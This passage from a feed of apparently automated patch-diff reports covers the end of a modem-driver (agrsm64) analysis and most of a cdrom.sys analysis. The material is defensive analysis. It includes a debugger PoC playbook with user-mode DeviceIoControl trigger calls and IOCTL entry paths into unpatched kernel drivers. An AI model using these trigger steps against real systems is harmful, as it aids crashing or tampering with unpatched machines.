&lt;li&gt;&lt;strong&gt;Overall assessment:&lt;/strong&gt; because no attacker-controlled memory-corruption or arbitrary read/write primitive was found on the reachable path, a reliable local privilege escalation is not demonstrated by the code. The verified impact is limited to an authorization bypass with denial-of-service-class and configuration-tampering effects.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;Ensure a kernel debugger (WinDbg/KD) is attached to the unpatched target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
- &lt;code&gt;bp agrsm64_unpatched!SerialIoControl&lt;/code&gt; (0x1297F8)
  &lt;em&gt;Why:&lt;/em&gt; Intercepts all IOCTL traffic. RCX = Device Object, RDX = IRP.
- &lt;code&gt;bp agrsm64_unpatched+0x129b35&lt;/code&gt;
  &lt;em&gt;Why:&lt;/em&gt; Hits the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; allocation inside IOCTL &lt;code&gt;0x1B0008&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;
- At &lt;code&gt;SerialIoControl&lt;/code&gt; (0x1297F8): Check the IRP stack location. Execute &lt;code&gt;dx -r1 (*((kg64!_IRP*)(@rdx)))&lt;/code&gt; and inspect &lt;code&gt;Tail.Overlay.CurrentStackLocation-&amp;gt;Parameters.DeviceIoControl.IoControlCode&lt;/code&gt;.
- At &lt;code&gt;+0x129b35&lt;/code&gt;: Inspect &lt;code&gt;RAX&lt;/code&gt;/&lt;code&gt;RDX&lt;/code&gt; to verify the caller-controlled pool allocation size (first DWORD of the input buffer, required to exceed &lt;code&gt;[ext+0x140]&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;
1. From user mode (even low-integrity): &lt;code&gt;HANDLE h = CreateFileW(L"\\\\.\\LSISM_xface", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);&lt;/code&gt;
2. Issue IOCTL: &lt;code&gt;DeviceIoControl(h, 0x1b0008, inputBuf, sizeof(inputBuf), outputBuf, sizeof(outputBuf), &amp;amp;bytesReturned, NULL);&lt;/code&gt;
3. Send a 4-byte payload in &lt;code&gt;inputBuf&lt;/code&gt; (e.g. &lt;code&gt;0x1000&lt;/code&gt;) to exercise the allocator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Struct/Offset Notes:&lt;/strong&gt;
- IRP Control Code: &lt;code&gt;[rdx+0xB8]+0x18&lt;/code&gt;
- Device Extension: &lt;code&gt;[rcx+0x40]&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;The diff reported 5 matched/changed functions. Because the patched binary was reduced to 7 generic runtime functions, structural false positives dominate the diff:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;_start&lt;/code&gt;&lt;/strong&gt; (Sim: 0.245): Cosmetic. Entry point relocation due to the modified image base.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_EC8CC&lt;/code&gt;&lt;/strong&gt; (Sim: 0.405): Cosmetic. Address-sequence false match.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_EF3B0&lt;/code&gt;&lt;/strong&gt; (Sim: 0.405): Cosmetic. False match between CRT/security-cookie routines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CSV92EXIntEnter (sub_843EC)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.876): Cosmetic. Unpatched is a modem state setter writing to hardware registers; the patched match is a &lt;code&gt;__security_init_cookie&lt;/code&gt; routine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__security_check_cookie (sub_E6FB0)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.965): Cosmetic. Both are &lt;code&gt;__security_check_cookie&lt;/code&gt; routines with minor address relocations.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Note on Behavioral Changes:&lt;/em&gt; The actual behavioral security change is not reflected in the &lt;code&gt;changed_functions&lt;/code&gt; array because the patch removed all of the original functions without providing directly matched equivalents; they were structurally unmatched.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; 0 &lt;em&gt;tracked by the diff agent (see caveat).&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; 0 &lt;em&gt;tracked by the diff agent.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Implication:&lt;/em&gt; The patched build is an entirely new stub driver, replacing the ~2,880-function unpatched binary. The diff agent mapped only a handful of CRT functions, leaving the discarded unpatched functions untracked.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the missing-authorization finding.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rationale:&lt;/strong&gt; The disassembly confirms &lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt; at 0x12E301, device creation with no &lt;code&gt;FILE_DEVICE_SECURE_OPEN&lt;/code&gt; and no explicit SDDL, &lt;code&gt;SerialIoControl&lt;/code&gt; registered at &lt;code&gt;MajorFunction[0xe]&lt;/code&gt;, and an &lt;code&gt;IOCTL_SERIAL_*&lt;/code&gt; dispatch (0x1B0004–0x1B006C) with no authorization check, including a caller-sized nonpaged pool allocation at 0x129B35.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope:&lt;/strong&gt; The &lt;code&gt;MmMapIoSpace&lt;/code&gt; (0x8406D) and port-I/O (0x183E1) paths were confirmed to run only during device initialization on the modem's assigned hardware resources; they are not reachable from the user-mode IOCTL surface and do not constitute an attacker-controlled primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt; Confirming, on a live system, that the device's default security descriptor actually permits an unprivileged process to open &lt;code&gt;\\.\LSISM_xface&lt;/code&gt; (the driver applies no explicit ACL; effective access depends on the I/O manager's default device security).&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cdrom.sys — Request IRP AssociatedIrp.SystemBuffer left dangling after synchronous forward in RequestHandleVolumeOnline (CWE-459) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cdrom_ad9dd120-cdrom-report-20260626-132557.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/cdrom_ad9dd120-cdrom-report-20260626-132557.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cdrom_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cdrom_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9928&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; Matched: 317 | Changed: 1 | Identical: 316 | Unmatched: 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes an incomplete-cleanup bug in the CD-ROM class driver. &lt;code&gt;RequestHandleVolumeOnline&lt;/code&gt; temporarily repurposes the request IRP's &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; field to point into the device extension while it synchronously forwards the request to the volume I/O target, but the unpatched build never restores the field before returning. The patch adds a save-before-overwrite / restore-after-send pair.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Incomplete cleanup — a temporarily overwritten IRP pointer field is not restored (CWE-459: Incomplete Cleanup)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;RequestHandleVolumeOnline @ 0x1C0009328&lt;/code&gt; (handler for &lt;code&gt;IOCTL_VOLUME_ONLINE&lt;/code&gt; &lt;code&gt;0x56C008&lt;/code&gt; and &lt;code&gt;IOCTL_VOLUME_POST_ONLINE&lt;/code&gt; &lt;code&gt;0x56C064&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
In &lt;code&gt;RequestHandleVolumeOnline&lt;/code&gt;, the handler obtains the WDM IRP backing the current request by calling &lt;code&gt;WdfRequestWdmGetIrp&lt;/code&gt; (WDF function-table slot &lt;code&gt;+0x8E8&lt;/code&gt;) on the request handle (&lt;code&gt;a2&lt;/code&gt;). It then reads the IRP's current stack location from &lt;code&gt;IRP+0xB8&lt;/code&gt;, and overwrites &lt;code&gt;IRP+0x18&lt;/code&gt; — the &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; field — with &lt;code&gt;device_extension + 0x68&lt;/code&gt;. This provides the data buffer for the request that is then synchronously forwarded to the volume I/O target via &lt;code&gt;RequestSend&lt;/code&gt; (called with option flag &lt;code&gt;2&lt;/code&gt; = &lt;code&gt;WDF_REQUEST_SEND_OPTION_SYNCHRONOUS&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In the unpatched build the function returns immediately after the synchronous send without restoring &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; to its original value. The IRP therefore continues to hold &lt;code&gt;device_extension + 0x68&lt;/code&gt; in &lt;code&gt;SystemBuffer&lt;/code&gt; when the original buffered IOCTL request completes back to its caller. For a &lt;code&gt;METHOD_BUFFERED&lt;/code&gt; request the I/O manager's completion path consumes &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (buffer copy-back / deallocation), so it operates on device-extension memory instead of the framework-owned system buffer. The most direct consequence is a free of a pointer that is not the original allocation (pool corruption / bugcheck) and, where output is copied back, limited exposure of adjacent device-extension bytes.&lt;/p&gt;
&lt;p&gt;This is a per-request defect on the specific request being handled. It is not a modification of a device-lifetime shared object, and it does not by itself corrupt unrelated subsequent I/O.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. &lt;strong&gt;User Mode:&lt;/strong&gt; &lt;code&gt;DeviceIoControl(\\.\CdRom0, 0x56C008 or 0x56C064, ...)&lt;/code&gt;
2. &lt;strong&gt;Serialized dispatch:&lt;/strong&gt; the request is serviced on the driver's serialized IOCTL work item &lt;code&gt;IoctlWorkItemRoutine @ 0x1C00189F0&lt;/code&gt;.
3. &lt;strong&gt;IOCTL Router:&lt;/strong&gt; &lt;code&gt;RequestProcessSerializedIoctl @ 0x1C0018BD4&lt;/code&gt; switches on the IOCTL code and routes &lt;code&gt;0x56C008&lt;/code&gt; / &lt;code&gt;0x56C064&lt;/code&gt; to &lt;code&gt;RequestHandleVolumeOnline&lt;/code&gt;.
4. &lt;strong&gt;IRP Retrieval:&lt;/strong&gt; &lt;code&gt;RequestHandleVolumeOnline&lt;/code&gt; calls &lt;code&gt;WdfRequestWdmGetIrp&lt;/code&gt; to obtain the request's WDM IRP (&lt;code&gt;v6&lt;/code&gt;).
5. &lt;strong&gt;Temporary overwrite:&lt;/strong&gt; it sets &lt;code&gt;IRP-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (&lt;code&gt;v6+0x18&lt;/code&gt;) to &lt;code&gt;device_extension + 0x68&lt;/code&gt;.
6. &lt;strong&gt;Synchronous send:&lt;/strong&gt; it calls &lt;code&gt;RequestSend&lt;/code&gt; to forward the request to the volume I/O target and blocks until completion.
7. &lt;strong&gt;Missing restore:&lt;/strong&gt; the unpatched function returns without restoring &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt;, leaving the IRP pointer dangling into the device extension when the original request completes.&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;The unpatched version overwrites the IRP's &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; and never restores it; the patched version saves the original value and writes it back after the synchronous send.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED RequestHandleVolumeOnline @ 0x1C0009328 ---&lt;/span&gt;
&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WdfRequestWdmGetIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// per-request WDM IRP&lt;/span&gt;
&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;184&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// IRP current stack location (IRP+0xB8)&lt;/span&gt;
&lt;span class="c1"&gt;// BUG: no save of the original SystemBuffer&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// IRP-&amp;gt;AssociatedIrp.SystemBuffer = devext+0x68&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7C220&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;RequestSend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// synchronous forward to volume I/O target&lt;/span&gt;
&lt;span class="c1"&gt;// MISSING: *(_QWORD *)(v6 + 24) = original_value;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED RequestHandleVolumeOnline @ 0x1C0009328 ---&lt;/span&gt;
&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WdfRequestWdmGetIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;184&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// FIX: save original AssociatedIrp.SystemBuffer&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// temporary overwrite&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7C220&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;RequestSend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// FIX: restore original AssociatedIrp.SystemBuffer&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;The fix appears as an added save before the overwrite and an added restore after the send call. The following listings are copied from the authoritative disassembly of each build.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched (&lt;code&gt;RequestHandleVolumeOnline @ 0x1C0009328&lt;/code&gt;, key sequence)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C00093B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="n"&gt;E8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WdfRequestWdmGetIrp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;
